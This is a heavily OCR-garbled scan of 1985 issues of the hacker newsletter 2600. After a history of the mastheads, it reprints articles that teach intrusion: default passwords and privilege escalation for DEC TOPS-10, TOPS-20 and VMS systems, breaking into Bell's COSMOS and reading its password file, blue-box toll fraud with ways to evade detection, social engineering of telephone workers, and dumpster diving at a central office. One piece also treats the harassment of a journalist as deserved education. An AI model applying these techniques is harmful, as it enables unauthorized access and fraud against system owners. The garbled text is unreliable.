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COVERS

1985 was the second year of our newsletter phase, which lasted through 1986, True covers were still two years away. But we
continued to mess around with our masthead and, as the year progressed, we kept throwing things into the little box that had
popped up next to the name 2600.

We honestly don't know where most of these graphics came from. The majority were probably generic pieces of clip-art. In Janu-
ary, we had a little telephone in the shape of a car driving down a road. February saw a very short-lived experiment of listing the
contents of the issue. In March, we were back to graphics, this time with a sneaky looking Uncle Sam waving a flag. April had an
unusual image of a computer terminal with a telephone handset displayed on the monitor. In May and June, we tried listing the
contents again, either because we thought it was a good idea or we couldn’t find any graphics. In July, we printed an image of a
penny farthing bicycle, most likely because a bunch of us were watching The Prisoner at the time. The whole British aristocrat
standing in the rain with an umbrella imagery continued into August, only the rain was falling inside the umbrella, Heavy stuff.,
In September, we started to go a little nuts, sticking some of the clip art we had used in ads (such as a waiter holding dishes and
a collection of knives) on top of an image of our very first issue. We don't understand October now and we probably didn't back
then. It just seemed like a nice pattern. Where it came from is anyone’s guess. November was another weird one, with our um-
brella being sneezed away into the light by some guy with a handkerchief standing in the dark. (This might have been our psy-
chedelic period.) The year ended with another self-referential image in December: a string of holiday elves for the tree next to a
disembodied hand holding an issue of 2600. It was clear we wanted to make covers, but hadn’t quite figured out a way to get there.

In the tiny print, January saw the first mention of a “lifetime subscription™ for $260, along with a corporate sponsorship of
$2600. We never got any of the latter, however lifetime subscriptions became popular and still exist to this day at the exact same
price. We stuck the word “Dial:” in frent of our phone number, replacing "ATT:". In March, we added the first of our BBS num-
bers to the masthead. This one was “The Private Sector,” which would become infamous later in the year. April saw our first rate
increase after a mere 15 months of publishing. Subscriptions went from S$10 to $12 a year, 35 to $6 for a half year, and overseas
went from $13.50 to $15 for a year. After a full year and change of putting this newsletter out, we finally had figured out what we
needed to bring in to keep it going. We added a line in May that let people know to make out their checks to "2600 Enterprises,”
as we were getting checks made out to everything from “Hacker” to “Magazine.” Some clarification was in order. In June, we
realized that if we moved the “volume™” and “number” part a bit higher, wed have the full width of the page for the tiny print,
We didn’t have anything more to say, but we now had a whole lot more space to say it. Our next changes came in August, when
we got rid of the half year subscriptions and introduced a corporate subscription rate of $30, as opposed to the now labeled
individual rate of $12. We were getting hammered on international postage, so the international rate went up for the second
time in four months, this time to $20 for a year. We also added "Inc”” to the name to write checks to, probably at the behest of a
paranoid accountant. We also introduced a brand new post office box “for advertising rates and article submissions.” In Septem-
ber, our back issue rates doubled, from 51 to $2 each. Again, this is probably something we just figured out as they started to sell
and we saw how much we were spending on them. We apparently had also been chastised by the post office for saying “Box” in
our address instead of “P.O. Box,” so we made that change as well. It should also be pointed out that we continued to defiantly
list our BBS number, even after it had been seized by the authorities in August. (It came back to us the following January.)

We made the January exclamation point a tradition by repeating it after the “1985” on our January masthead. The typeface of
the month was changed this year and converted to a smaller size and all caps. The volume and number would remain the same
style and size as in the previous year. The only other bit of creativity in that section came with the word *TYCHO" inserted into
the February masthead. This was undoubtedly the name of some computer somewhere that we weren't supposed to know about.

From April through August, we experimented with a “letter quality” printer instead of a typesetting machine for articles, but not
news updates. While it looked better than any other computer printer of the day, it paled in comparison to what we were used to
and we wound up going back to our old ways, even though that involved sneaking into offices of a local newspaper after hours.
(Thisexperiment was also responsible for a rather unusual typo in the “What a White Box Can Do” article, which was the first to be
printed in this manner. The word “eatpastrami” was typed in order to push text onto the next line, which we were having trouble
doing for some reason. It was supposed to be temporary, but we wound up forgetting to erase that word, resulting in much embar-
rassment for many years to come. In fact, we even did it a second time, with the word “dsfdstkskfgsjkfggreegfds” in that issue’s let-
ters column. This would forever be remembered as a low point for us.) In May, we expanded from six sides of 8.5x11 paper to eight
sides, or two 11x17 sheets folded in half, During 1985, you might have gotten six page issues as three separate sheets or one large
sheet folded over with a smaller middle sheet while eight page sheets were either two 11x17 sheets or four 8.5x11 sheets. Loose-
leaf holes continued to be punched in the side and page numbers (starting with “2-") printed on the bottom for filing purposes.
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Those Horrible Hackers Strike Again

In mid-November, something happened. We all know what it was: even the
general populace knows this tme. A NMewsweek reporter, Richard Saneda, was
harassed with a Mury of hacking and phreaking after he wrote a seni-revealing
article. (See November 12 Newsweek for the article and December 10 for the
follow-up.}

The anack on Sandsa s unigue because be s a membser of the press. Because
of this, & ridiculous amount of publicity erupted from the event. USA Todarran
several davs worth of anticles and editonals focusing on the rampant abuse of
technology by our kids, as did TV networks and all other branches of the media.
Mast of them mennioned breakins at the computers of Sloan Kettening, NASA.
TRW . or other well known organizations. Thas is supposed o make us gasp in
astomishment and lead us e believe than the only problem s these pesky. genius
kicls. But we all know better.

Sandea made the one big mistake of underestimating the power of the

hackers. We were told by one of his [riends of how he was so very cemain that
nothimg could happen to him because he published a secret password. We believe
s has been an educational experience for him. Some ol the hackers among us
could use a bit of this education themselves, though, Harrassing one person
relentlessly really accomplishes nothing except to further tarmish the image of
hackers. By companson. if the hackers had done all Kinds ol nasty things toa big
corporation., say Union Carbide since they seem to have been doing seme nasty
things themselves recently, the general populace might have been more
understanding.

Although Sandea’s case and the publicity surrounding it will hopefully alent
the public to patential abuse of information by others, it is something neither he
nor others deserved. And consider this: Although Sandra broke confidences by
revealing passwords, be had just as muech right 1o do i as those hackers that
reveal commercial computer passwords.



wiretap{) ing and divestiture:
A LINEMAN SPEAKS OUT

by The Shadow

Never missing an apportunity for social engineering, the Kid & Co. and |
naturally carried on 2 conversation with the New Jersey Bell fone installer when
he came to put in my modem line. The conversation turned to fone tapping, and
several interesting details eame to light. He swore up and down that Bell had
nothing to do with wire tapping. He said the supervisor receives sealed orders
from the sherifls office. merely passing them on to the linemen, Then the
linemen follow the orders to go up on the poles and mark the pair in the “CAN™
that fit the fone line in guestion. and then leave the site.

One day, our lineman drove back by the pole he had marked earlier in the day.
and saw a Bell truck, Wondering who it was, he stopped to ask. The guy up on
the pole told him 1o go away and 1o leave him alone, Since our friendly lineman
didnt recognize the mystery manas one of the linemen for the area, he asked his
supervisor who it could have been. His supervisor curtly told him o forget the
entire incident.

The lineman told us that in the obd days the Teleo and the prosecutor’s office
worked hand-in-hand. They would let the authorities right into the CO 1o listen
in on conversations. But thisended around 1973 when someone sued Jersey Bell
because of this 1oo close interaction, The Teleo then realived that they didn’
have 1o go that far in order to help the police. After this they gradually broke
from the close relationship. Now the fone company merely marks the lines, and
the prosecutor’s office handles the rest. He also said that now the police
sometimes use ultrasonic waves bounced off of window panes o Listen 1o
suspects, removing all comtact with the fone lines. Since the presence of a fone
company truck messing with telephone wires is taken for granted by the general
populace, the sherils office 2lso has a couple of them for undercover work,
Since they got them back inthe good old days of Bell friendliness, the trucks tend
10 be the older models, with outdated gear. The trucks also tend to be empty of
the normal fone installtion gear. The lineman 1old us a swre way to identifly the
local police™ trucks: they have wooden ladders. New Jersey Bell switched over 1o
plastic ones Vears ago.

Continuing the discussion with the lineman, we covered the breakup, Mew
Jersey Bell now no longer gives as much overtime as it once did, The lineman
complained that his standard of living had gone down since the breakup as he no
longer hus as much ke home pay. The breakup has caused a total severing of
tics with AT&T. He professed total ignorance about long distance calling, He
had originally gone with AT&T, but dishiked fixng PBXS and computer
svstems. As soon as he could, be switched back to the local operating company.

He told us about a technical institute Western Electric was operating

somewhere in the Midwest. He had gone there to learn about the various Lypes of
switching systems. On campus was a gigantic, multi-story building split up into
rooms approximately the size of gympasiums. In each was a fully operational
scale model of each of the variows switching systems Western Electric
manufactunes, including all the ESS and crosshar machines, as well as some
step-by-steps and several types of PBX's. They trouble-shot and repaired
problems in these machines in order te learn about actual operating equipment.

We talked about the local switching equipment, which turned out tobe a #1A
ESS. According to him, soon all the local CO%s will be run automatically from
central locations called “hubs™. The “hub” handles any overload between central
offices that might cause the dreaded “gridlock™ of the fone system. If the
interoffice signaling lines get overloaded, the calls are rerouted through the bub.
The hub also serves as a central spot where troubles at the local COare handled
in the first stages of trouble-shooting, The “hub™ concept is alive and well in our
Lozl area, with a #5 ES%, the third installed in the entire nation. running the
whole aperation,

When he was getting ready to leave he thanked us for the ineresting
conversation, and we waved at him as he pulled out, | now not only had a new
fane line. but also a lot of useiul and interesting info, as well as the satisfaction of
a friendly chat

The lesson is clear, Whenever a Bell emploves visits vour house, feel phree o
ask whatever you wan, within reason. Most are extremely willing to shoot the
bull about almost anvihing of which they have knowledge. At first, merely joke
with them lightheartedly, in order to get them off of their guard. Legit questions
askable by a normal customer, such as equal acoess cutovers, will get them
ralling. leaving vou to direct the conversation wherever you like. Asking about
the breakup and how it affected them is a sure fire way to get them talking.
Questions like *How does the Tone network work? also are good . especially if
vou guide them into the discussion of switching technology. Maost Bell
employees are really glad o talk to someane, Maost people are Manered when
others seem interested in them, Remember, they usually interact with disgruniled
custamers with complaims. Their spouses probably vell at them, and ther
supervisors cither complain about their perfarmance or ignore them, Society at
Large just doesn't care about them. They're most probably disenchanted with the
world at large, and maybe even dissatisfied with their jobs, The chance o talk o
someone who merely wants to listen to what they say is a welcome change. They
will talk on and on about almost anvthing. from telecommunications o their
home lile and their childhood. The possibilities for social engineering are
endless, Remember, Bellemployees are humans, too, All you have toda s listen,



Gettin

A GUIDETO S

by Mike Salerno

There are four popular operating systems on DEC machines
that are supported by DEC, Two of these, TOPS-10 and
TOPS-20, run on the KLIO and the KSI10 356 bit machines:
TOPS-10also runs on the older KA 10and K110, The other two
are UNIX and VMS for the VAX, and PDP-]| series. The
VAX isa 32 bit machine, with a 32 bit virtual address space. The
PDP-11 is also a 32 bit machine. VMS is a very intricate
operating system, with its loopholes, as you will see.

TOPS-10is an operating system that uses two octal numbers
to identify a “user” or *account™. This is usually printed in the
form of [565,11]. The first number tells which “project " the user
belongs to, and the second is which *programmer™ the user is.
Passwords are any printing character up to 6 characters long,
containing only upper case alphabetics. Also associated with
the project programmer number {PPN) is the username, or
“user 1D7. This is usually either a department name, or a
personal name. Now, we all know what some people like doing,
i.e. using parts of their name or department as their password
(usually initials, or first names). The only problem that remains
is how to get these usernames, right? Wrong! TOPS-10 is one of
the few operating systems, besides TOPS-20, that lets youdoa
few things while not logged in. This includes runninga program
called SYSTAT that will give you various performance
statistics, along with a list of users on the system. If this system
1s running version 7 of TOPS-10, you can use SYSTAT to give
you what you want. Just type *SYSTAT US™ This will give a
short listing, giving only users on the system and their
usernames. Useful, isnt it? If the version is previous to version
7. youcangeta SYSTAT and then, using the job numberin the
left column, type “PJOB n™ where “n™is the user's job number,
This will give you his username. If this is too tedious, type
“QUEUE™. This will show vou a list of users who have entered
print and batch requests, along with their username. To login,
Just type “LOGIN™, a space, and the “PPN™ with a comma.
Really taking over is not easy, unless you've worked with
TOPS-10 fora while. There are a few accounts that might have
been left with the default passwords set, like [1,3] password
OLD or OLDLIB, [14] password SYS or SYSLIB, [1.5]
password NEW or NEWLIB, [6.6] password MAINT or
FIXIT or FIX-IT, and [7,7] password OPER or OPR.

Like TOPS-10, TOPS-20 allows you to do certain things
which are helpful to hackers. Accounts on TOPS-20 are up to
39 alphanumeric characters including hyphensand | or periods—
passwords are the same. To login, type “LOGIN™, a space, the
username, a spacc, and the password. The password will not
echo. SYSTAT can be run whether you're logged in or not on
most machines. If the host is on ARPANet, use FINGER to
give a list of users on the system. along with their personal
names! There are not many privileged accounts that will have
their password set to something obvious, but one may be
MAINT or F-S or FIELD, with a password FIXIT, FIX-1T, or
MAINT. It the host is on ARPANet and you can login, try
FTP. which stands for File Transfer Protocol. With this, you
can transfer files from another host on ARPANet to the one
you're on, or vice versa. You have to have an account and
password to use on the other system, but guess what? TOPS-20
systems all have an ANONYMOUS account that any person

In The Back Door

E POPULAR OPERATING SYSTEMS

using FTP can log into, with any password!

UNIX is a pretty simple operating system, but has some
pretty good security measures, The only way you can get full file
access, orany other privilege is by issuing the SU command and
entering the appropriate password, which (1 believe) is the
“root™account’s password. Accounts and passwords are stored
intext form, in the directory */ete " in the file “passwd ™. All the
passwords are coded in such a way that there is no way to
decode them. The program responsible for checking these
passwords codes the password you give, then checks it against
the already coded password stored in the file. The only time the
real password 1s handled by the computer is when the user
himself sets it. All the fields in the password file are separated by
a colon. The first field is the username, the second the
password. If there is no password—two colons after the
username—then that account can be logged into without a
password. Some of these may be *help™ or *learn™ which
actually may let you into the system’s command level. The
account “sync” 15 used to synchronize things so that UNIX can
be crashed (never crash a UNLX system, it may leave the disks in
an undesirable state). One useful account which is usually left
with no password is “who™, which will give you a list of users on
the system, just like typing“who™at the command level would.
You can scan through these and see if you can find an account
with no password. or part of the username as the password. If
this doesn't work, then hang it up. One thing about UNIX it
thinks upper and lower case are different. This allows for file
names and even passwords in upper and lower case!

VMS stands for Virtual Memory System. The VAXs 32 bit
(4 gipabytes!) virtual address space is exploited fully by VMS,
The introduction of the new VAX 8600 with the speed of four
VAX T80 is an impressive move by DEC. This system should
be able to support up to 256 users. One “good” thing
{(depending on your point of view) about VMS is that it lets you
do nothing without (irst logging in. If the system has only been
in operation for about 6 months or so, there is a good chance
that the default accounts supplied with YMS are still there.
These include the system manager's account SYSTEM with the
password MANAGER, the field service account FIELD with
password SERVICE, and the system program test account
SYSTEST with password UETP. All these accounts either
have full privileges or have the privileges to give themselves full
privileges. If you can't access some files from FIELD or
SYSTEST, this is because you're the latter. To give them to
yourself, just type “SET PROCESS/PRIV=ALL". Once you
have full privileges, you can run the system program
AUTHORIZE. This program will allow you to print usernames,
owners, ete.. and insert new users. You can not print passwords,
since the login program works like UNIX's does. If the VAX is
hooked into DECNET, which is DEC% supported network,
you can access any unprotected file on any “node™ on the
network.

One thing about IDDECs machines is that they can all
communicate with one another, Using ETHERNET, you can
conneet to, send mail to, and transfer files to and from almost
any other DEC system. There should be on-line help for the
network, just type HELP.



THE THEORY OF BLUE BOXING’

their history, how they’re used, their future

After most neophyte phreaks overcome their fascination with Metrocodes
and WATS extenders, they will usually seek to explore other avenues in the vast
phone network. Often, they will come across references such as “simply dial KP +
2130801050 + 5T for the Alliance teleconferencing system in LA, Numbers such
as the one above were intended to be used with a blue box: this article will
explain the fundamental principles of the fine ant of blue boxing.

Genesis

In the begining. all long distance calls were connected manually by operators
who passed on the called number verbally to other operators in series. This is
because pulse (aka rotary) digits are created by causing breaks in the DC current.
Since long distance ealls require routing through various switching equipment
and AC voice amplifiers. pulse dialing cannot be used to send the destination
nurmber 1o the end local office (CO).

Eventually, the demand for faster and more efficient long distance (1.D)
service caused Bell 1o make a mult-billion dollar decision. They had to creatc a
signaling system that could be used on the LD network. Basically. they had two
options: (1) to send all the signaling and supervisory information (i, ON and
OFF HOOK) over separate data links. This type of signaling is referred to as
out-of-band signaling, or {2) to send all the signaling information along with the
conversation using tones to represent digits. This type of signaling is referred to
as in-band signaling. Being the cheap bastards that they naturally are, Bell chose
the later (and cheaper) method—in-hand signaling. They eventually regretted
this, though (heh, heh)...

In-Band Signaling Principles

When a subscriber dials a telephone number, whether in rotary or touchtone
{aka DTFM), the equipment in the CO interprets the digits and looks for a
convenient trunk lire to send the call on its way. Inthe case of a local call, it will
probably be sent via an inter-office trunk; otherwise, it will be sent to a toll office
(class 4 or higher) to be processed,

When trunks are not being used there isa 2600 Hz tone on the line; thus to find
a free trunk. the CO equipment simply checks for the presence of 2600 He. [T it
doesn’t find a free trunk the customer will receive a re-order signal (120 1PM
busy signal) or the "all circuits are busy..." message. 1f it does find a free trunk. it
“seizes” it—removing the 2600 Hz. It then sends the called number or a special
routing code to the other end or toll office

The tones it uses to send this information are called multi-frequency (ME)
tones. An MF tone consists of two tones from a set of six master tones which are
combined to produce 12 separate tones. You can sometimes hear these tones in
the background when vou make a call, but they are usually filtered out 50 your
delicate ears cannot hear them. These are mor the same as touchtones. To notify
the equipment at the far end of the trunk that it is about to receive routing
information. the originating end first sends a Key Pulse (K P) tone. At the end of
sending the digits. the originating end then sends a 3Tart(ST) tone. Thus to call
914-359-1517, the cquipment would send KPP + 9143591517 + 5T in MF tones,
When the customer hangs up. 2600 Hz is once again sent 1o signify a disconnect
to the distant end.

History

In the November 1960 ssue of the Bell System Technical Journal. an aricle
entitled “Signaling Systemns for Control of Telephone Switehing' was published.
This journal, which was sent to most university libraries, happened to contain
the actual MF tones used in signaling, They appeared as follows:

DIGIT .....c004+ cesrcnesss TONES
l i i i i nsa s a s TOO0 + 900 HZ
L s as S e S 700 + 1100 HE
A e e e SR e A 900 + 1100 HZ
4,000 R S — 700 + 1300 HZ
. P P . 900 + 1300 HZ
M i e 11040 1300 HE
A « s 700+ 1500 HZ
S e A e g 900 + 1500 HE
ST R A 11040 = 1500 HZ
O.cicians weessssnasss 1360 1500 HZ
RP. ... ciicirananrna 11040 + 1700 HZ
BT ccassveansinnasnns «+ LS00 = 1700 HZ
T, TSR 700 + 1700 HZ
| P g R e e S 900 + 1700 HZ
KP2(™) .. cveseerasennss 130+ 1TH HE

{*) Used only on CCITT SYSTEM 3 for special
international calling.

Bell caught wind of blue boxing in 1961, when it caught a Washington State
College student using one. They originally found out about blue boxes through
police raids and informants. In 1964, Bell Labs came up with scanning equip-
ment, which recorded all suspicious calls. 1o detect blue box usage. These units
were installed in O0'% where major toll fraud existed. AT&T secunty would then
listen to the tapes to see if any toll fraud was actually committed. Over 200
convictions resulted from the project. Surprisingly enough, blue boxing is not
solely limited to the electronics enthusiast, AT& T has caught businessmen. film
stars, college students, doctors, lawyers, high school students, and even a
millionaire financier { Bernard Cornfield) using the device. AT&T also said that
nearly half of those that they catch are businessmen,

To use a blue box, one would usually make a free call to any 8300 number or
distant directory assistance (NPA-555-1212). This, of course, 15 leginimate.
When the call is answered, one would then swiftly press the button that would
send 2600 Hz down the line. This has the effect of making the distant CO
equipment think that the call was terminated. and it leaves the trunk hanging.
Now, the user has about 10 seconds to enter in the telephone number he wished
to dial—in MF, that is. The CO equipment merely assurmes that this came from
another office and it will happily process the call. Since there are no records
{except on toll fraed detection devices!) of these MF tones. the user is not billed
for the call. When the user hangs up, the CO equipment simply records that he
hung up on a free call.

Dretection

Bell has had 20 years to work on detection devices; therefore, in this day and
ape, they are rather well refined. Basically. the detection device will look for the
presence of 2600 Hz where it does not belong. [t then records the calling number
and all activity after the 2600 Hez. If vou happen to be at a fortress fone, though,
and you make the call short, vour chances of getting caught are significantly
reduced. Incidentally. there have been rumaors of certam test numbers that hook
inie trunks thus avoiding the need for 2600 He and detection!

Another way that Bell catches boxers is to examine the CAMA (Centralized
Automatic Messape Accounting) tapes. When you make a call, vour number,
the called number, and time of day are all recorded. The same thing happens
when vou hang up. This tape is then processed for billing purposes. Normally. all
free calls are ignored. But Bell can program the billing equipment to make note
of lengthy calls to directory assistance. They can then put a pen register (aka
DNE) on the line or an actual full-blown tap. This detection can be avoided by
making short-haul (aka local) calls o box off of.

[1is interesting to note that NPA + 555-1212 onginally did not retumn answer
supervision, Thus the calls were not recorded on the AMA/ CAMA tapes.
ATET changed this though for ‘traffic studies!”

CCIs

Besides detection devices, Bell has begun 1o gradually redesign the netwaork
using out-of-band signaling. This is known as Commaon Channel Inter-office
Sigraling (CCIS). Since this signaling method sends all the signaling information
over separate data lines, blue boxing is impossible under it

While being implemented gradually, this multi-billion dollar project is still
strangling the fine art of blue boxing. Of course until the project is totally
complete. boxing will still be possible. [t will become progressively harder to find
places to box off of, though. In areas with CCIS, ane must find a directory
assistance offfice that doesnt have CCIS vet. Area codes in Canada and
predominantly rural states are the best bets. WATS numbers terminating in
non-CC1S cities are also good prospects.

Pink Noise

Another way that may help to avoid detection is to add some “pink noise’ to
the 2600 Hr tone.

Since 2600 Hz tones can be simulated in speech, the detection equipment must
be careful not to misinterpret speech as a disconnect signal. Thusa virtually pure
2600 Hz tone s regquired for disconnect.

Keeping this in mind. the 2600 Hz detection equipment s alse probably
looking for pure 2600 Hz or else it would be triggered every time someone hit
that note (highest E ona piano =2637 Hz). This is also the reason that the 2600
Hz tone must be sent rapidly; sometimes, it won't work when the operator s
saving "Hello. hello." It is feasible o send some "pink noise” along with the 2600
Hz. Most of this energy should be abave 3000 He. The pink noise wont make it
into the toll network (where we want our pure 2600 Hz to hit), but it should make
it past the local CO and thus the fraud detectors,

{The above was raken from Basic Telecommunications Part VI wrirten by
BIOC Ageni 003,



trashing alaska style

by The GCI Guy

We left that Friday night with no idea that we would end up at our
local CO. A group of computer enthusiasts and 1 usually go cruiseand
look for trouble in our car properly named The Lead Sled. It is named
this because it is an extremely old Monte Carlo that is painted five
different shades of gray.

There was nothing happening on the local drag and that is when [
remembered something | had seen on a BBS the night before.

“Let’s go trashing,” 1 said with hopes of an answer. Butall I got wasa
grumble from the back seat and a question thrown at me from the
driver. [ explained to them what trashing was and the whole car seemed
to like the idea of looking through someone else’s garbage, especially
our local CO'%.

Now the thing that 1 really hate about our CO 1s that they have a
‘mascot’ color, baby blue. They paint their repair trucks, representa-
tives, and main building all this same color.

We carefully turned the engine off when we approached the baby
blue monster and coasted behind a group of trees. We had to run about
amile to the dumpsters and 1 think that this was our biggest mistake.
But what can you expect from first time trashers?

The CO has a ‘protective’ fence around their lot. So we picked a
small, thin phreaker to slide under the gate. He then dived into the

dumpster with a look of triumph in his eyes.

We waited for him to emerge with a bag when suddenly a man in
baby blue overalls appeared. 1 yelled for everyone to blow and that's
what we did. The skinny phreaker slid under the fence and we were
history.

I ran fast, the fastest 1 think I ever ran. But with the CO's security
guards after you, you had to. We ran back to the Sled but found that it
was surrounded by men in baby blue overalls, This is where we made
another mistake—we split up, hoping that maybe we wouldn't be
caught if we weren't a large group,

“They've been caught! " was the only thing that ran through my mind
as | ran for an abandoned shopping mall, Me and about two other
phreakers hid out there for about two hours until we thought the coast
was clear. But we were wrong.

As we were making our way back 1o the Sled, we were stopped by a
security guard who asked us alor of questions. Luckily we were able to
B.5. him. But when we got back to the Sled, it was gone.

I panicked. No Sled, no ride, and no trash. Then suddenly | heard a
honk and it was the Sled.

Since that unfortunate experience we have made countless trips to
the CO and have retrieved bags and bags of trash. Learn by your
mistakes.



SURVEYING THE COSMOS

by Firemonger

COSMOS is Bell's computer for handling infomation on
customer lines, special services on lines, and orders to change
line equipment, disconnect lines, etc. COSMOS stands for
Computerized System for Mainframe Operations. It is based
on the UNIX operating system and, depending upon the
COSMOS and upon your access, has some, many, or no UNIX
standard commands. COSMOS is powerful, but there is no
reason to be afraid of it. This article will give some of the basic,
pertinent info on how users get in, account format, and a few
other goodies.

Password Identification

To get onto COSMOS you need a dialup, account, password,
and wire center (WC). Wire centers are two letter codes that tell
what section of the COSMOS you are in. There are different
WC's for different areas and groups of exchanges. Examples
are PB, SR, LK, etc. Sometimes there are accounts that have no
password; obviously such accounts are the easiest to hack.

Checking It Qut

Let’s suppose you have a COSMOS number which you
obtained one way or another. The first thing to do would be to
make sure it is really a COSMOS system, not some other Bell or
AT&T computer. To do this, you would call it and connect
your modem, then hit some returns until you got a response. It
should say: “;LOGIN:" or NAME:". If vou enter some garbage
here it should say: ‘PASSWORD:". If you hit a return and it
says "WC?", it is a COSMOS system. If it says something like
‘TA% " then you're in business. If it doesn't do any of the above,
then it is either some other kind of system, or. if you're not
getting anything at all, the dialup has probably gone bad.

Getting In

COSMOS has certain accounts that are usually on the
system, one of which might not have a password. They consist
of ROOT (most powerful and almost always on the system),
SYS (second most powerful, still many privileges), BIN (a little
less power), PREOP (a little less), and COSMOS (hardly any
privileges. like a normal user). The way to tell if they have
passwords 15 by e¢ntering the accounts at the “LOGIN: or
‘NAME:  prompt, and if it jumps staight to "WC?, all you need
is a WC to get in. But suppose all of the accounts have
passwords? You have two choices. You can try to hack the

password and WC to one of the above accounts. 1 won't deal
with this method, as it is self explanatory. Or you can do
something 1 find much easier—call the COSMOS during
business hours and hope that someone forgot to log off. Keep
calling until when you connect and hit return until you get a
‘W% prompt. ‘WC is the WC that the account you found is
currently in. You are now in!
What to Do While Online

The first thing you want to do is write down the WC you are
in. The command *WCFLDS" (1 should list all WC's. On your
first login it is a good idea to print everything or dump
everything to a buffer. "WHO should print everyone currently
logged on the system, giving some accounts. “TTY tells what
terminal port you are on. "WHERE should tell the location of
the COSMOS installation. *“WHAT" tells what version of
COSNIX, COSMOS operating system, it is. LS *” prints all
the files you have access to. “CD | dir’connects you to directory
‘dir”, “Cat / filename’ prints file *filename’. Typing the name of a
file runs it. ‘ED filename' edits file ‘filename’. *Q° quits the
editor. If you've got privileges, you can try to print the
password file. To do this, type ‘CAT [ ETC/ PASSWD”. If you
have access, it will print the password file out. The passwords
are almost always encrypted, but you get a list of all the
accounts. If you are lucky, one of the lines will have two colons
after the account name. This means there is no prompt from the
“LOGIN:"or ‘NAME:" prompts when you enter that account. If
you can'’t print out the password file, you're going to have to
hack a password foran account or call again until you get in the
way described above. To logoff, type CTRL-Y. ‘TAT
sometimes print a little help file. To do a check on some
telephone line, type ‘ISH™ at the COSMOS "WO%" prompt.
Thentype 'H TN XXX—XXXX'(Hunt Telephone Number) to
tell youabout the local number you are interested in. When the
system gives youa“—", youtypea " and it will type all kinds of
info on the phone number you entered (in Bell abbreviations, of
course). If it is not a good exchange, it will say something to that
effect. You type a period to end the ISH.

If you wish to learn more information about COSMOS, find
vourself a COSMOS manual or look at future issues of 2600. A
UNIX manual would also be helpful for standard UNIX
commands.



One of our correspondents made an interesting discovery last month, She
found the telephone number for one of the computer bulletin board systems
operated by Amenican Nazis. With this number she was able to log on and get the
information that the media has lately been all bugeved about. Now we are
prepared to talk intelligently on the matter,

For one thing. this bulletin board 5 an Apple running Network soltware.
There are only about two dozen messages posted on it Only people who pay 55
can post messages or use clectronic mail functions. The system 15 not used very
often judging from the frequency of the messages. The people behind it seem o
have no interest m changing anything in the software or doing anything
imaginative with it ( Example: on most Apple bulletin boards, the *B”command
gets you a list of other bulletin board systems. At the end of the list, the program
prints, “When calling other systems, be sure to tell them about [ name of boaard].
This message can easilv be changed. The Nazis use the “B" command also,
except they use it to list addresses of “patriot”™ groups, Even though the list is not
a list of bulletin boards, vou still get the *When calling other systems ™ message at
the end of it.)

There seems to be little or no attendance by any sysop based on zero chat
availabihty and no replies to all kinds of feedback. “G ™ files exist (standard on
Apple boards. usually used Tor stonng large articles), however one of them
requires Level 7 access, Oran least. thats what it savs. The file inquestion is.a list
of race traitors, their addresses, ete. We are convinced that no such file exists, at
least not there, When requesting this file, vou are iold: "Here 15 a list of race
traitors: Level 7 access regrired.™ This doesn’t seem right. Either you're allowed

NAZIBBS A CHALLENGE TO HACKERS

to read the file or not. In this case, you're allowed to read part of the file and then
suddenly youaren’t, It's almost as if the file simply contains the above statement
and nothing else. Unfortunately, the media never picked up on that.

Our point here is simply this: you computer hackers and phone phreaks that
are reading this have the ability to uncover and analyze circumstances in ways
that most people can't. Some of vou have the ability to recognize touch wones by
car. A few can tell where their calls are going by the sounds they hear, And still
others are able to get into more than a few major systems and find the interesting
stull almost immediately. There is a very delinite need in this world for such
intelligence. Every authority Dgure inexistence would like to geta piece of your
abilities but very few are deserving of them. Besides, who really enjoys selling _
out?

Think of all the events going on in the world today. When all phone lings o
Poland are cun off, use your tricks to route ihrough Belgrade. Then let the press
know that vow can get through if they care. Track down imteresting people in
South Afrca, El Salvador, the Soviet Umon—especially m times of crisis,
There’s no reason why you cannot atiain the same respectability that a ham
radio operator has when things get desperate, We can all still have lots of fun,
and at the same time Move SOme mouniEns.

The Nazis are a start. IF hackers can uncover a thang or two that nobody clse
knows about, we'll be on the road io finally being appreciated., Let us know what
vou find. But be careful ou there.

The nuenbers for the Nazi boards are 2042633 108 and 9193230858,



are you a phreak???

by Bob Gamma

From the mere jokeline caller to the telecommunications
wizard, one can find phone folks at various levels of the phone
kingdom. These are not definitive boundaries, for even the
most knowledgeable phreaks occasionally revert to primitive
tactics:

The Dippy Dialer. The person who got a Zygot Dial-A-Joke
number from their little sister and is forever trying to get
through the busy signal which other Dippy Dialers have
caused. Not to be totally ignored, since it is this person who
keeps the entertainment lines in business. Even though they do
not know the difference between the prefix and the area code,
they are the only people that find the jokes to be humorous.
This brand of lowlife makes prank phone calls (sample: “Is your
refrigerator running? Then you better go catch it!™) and has
been known to run up his parents’ phone bill on long distance
calls which he thought were local.

Conference Brar| Loop Fdiot. Has an interminable list of test
numbers, WATS goodies, other phreaks’ private numbers, and
searches endlessly for working loops. Known to (ab)use the
Alliance Teleconferencing mechanism. Typified by playing the
“info exchange game™ and dreams of the day that he will have
his own phone line. This creature also calls the phone phun
lines, but overstacks SPC and MCI trunks. Also enjoys leaving
lengthy disconnects on other people’s answering machines.

Amateur Phone Phreak. Has 16illegal extensions with touch
tone and homemade hold buttons. Collects telephone direct-
ories of cities he can't spell or find on the map. Also
accumulates Bell paraphernalia like pay phone instruction
cards and stationery from the security division for scaring his
friends. These mischievous types wire coin phones to always

refund, harass telco installers, and raid the central office trash
containers for research material. Has the cheapest measured
service line, but with all the custom calling features. Collects
coin phone refund checks from the BOC's and independent
telcos, including 3rd rate companies like GTE. Fantasizes of
working for Ma Bell someday.

Phone Phreak Extraordinaire. Has a key systerm for his 4
phone lines, of which he only answers one. Has a pager, but still
is impossible to track down. Charter subscriber to 2600. He
knows every free call there is and talks to the East Coast
phreaks not so much for phreaking but to laugh at their accents.
Dabbles with computer systems, but has no respect for its
security. Can answer any question about the telephone except
why he likes it. Has at least one 3-slot pay phone proudly
displayed on his wall, and is the only person with an apprecia-
tion of independent telcos, step-by-step switching., and
divestiture.

Phone Phreak Emeritus. Retired from the service after
getting busted 3 times: For Sprinting across the country; For
violating probation by blue boxing (telco security confiscated
his blue box); And finally for hacking COSMOS. Has no phone
line at all, as he is paranoid that the temptation would be too
great. Tries new hobbies such as needlepoint and stamp
collecting in order to lessen phone phreak withdrawal pains.
Meticulously avoids breaking any laws: drives 535 mph on
highways. This nasty streak of morality could probably be
cured by giving him a butt phone and locking him in a feeder
closet which contains 200 unrestricted dial tones.

Where do you fit in? Tell your friends where they belong.
Then change your phone number, quickly!



HOW TO GET INTO A C.0.

by The Kid & Co.

